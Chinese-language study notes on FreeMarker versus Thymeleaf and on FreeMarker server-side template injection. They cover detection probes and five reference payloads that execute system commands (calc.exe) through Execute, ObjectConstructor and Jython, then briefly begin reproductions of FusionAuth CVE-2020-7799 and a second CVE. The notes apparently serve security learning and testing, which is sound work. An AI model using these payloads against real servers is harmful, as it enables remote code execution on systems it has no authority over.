一、freemarker和thymeleaf区别
freemarker这种编程式模板引擎,比如我们用一个判断会这么写
<#if ${isBig}>Wow!</#if>
而在thymeleaf中首先要考虑的问题是我的DOM是什么,而不是将 if 的逻辑放在哪里
在thymeleaf中判断会写出下面代码:
<div th:switch="${user.role}">
<p th:case="'admin'">User is an administrator</p>
<p th:case="#{roles.manager}">User is a manager</p>
<p th:case="*">User is some other thing</p>
</div>
二、关于FreeMarker模板注入
参考链接:https://zhuanlan.zhihu.com/p/432361789
(一)简介
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
(二)常用的几种类型
文本:包括HTML标签与静态文本等静态内容,会原样输出;
插值:这部分的输出会被计算的数据来替换,使用${}这种语法;
标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name=‘bob’>;
注释:由<#–和–>表示,不会被freemarker处理
(三)注入原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
(四)漏洞发现
1、使用${77}或#{77},如果返回49,则基本可以确认存在模板注入漏洞。
2、使用特殊字符等方式去尝试报错:
${{<%[%’”}}%\
如果引发了报错,则可能存在问题,同时还可能爆出模板引擎是什么,有时甚至是哪个版本。
(五)参考payload
https://www.cnblogs.com/Eleven-Liu/p/12747908.html
1.<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
2.[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}
3.${"freemarker.template.utility.Execute"?new()("calc.exe")}
4.<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
5.<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
三、FusionAuthRCE(CVE-2020-7799)复现
转载于:https://blog.csdn.net/xuandao_ahfengren/article/details/107742893
(一)简介
FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。
(二)影响版本
FusionAuth <= 1.11.0
(三)环境搭建
1、下载 FusionAuth 1.10.0
wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip
四、Freemarker模板注入(CVE-2020-7477)复现
https://blog.csdn.net/qq_35208730/article/details/119392499
freemarker快速入门:
https://segmentfault.com/a/1190000011768799?utm_source=tag-newest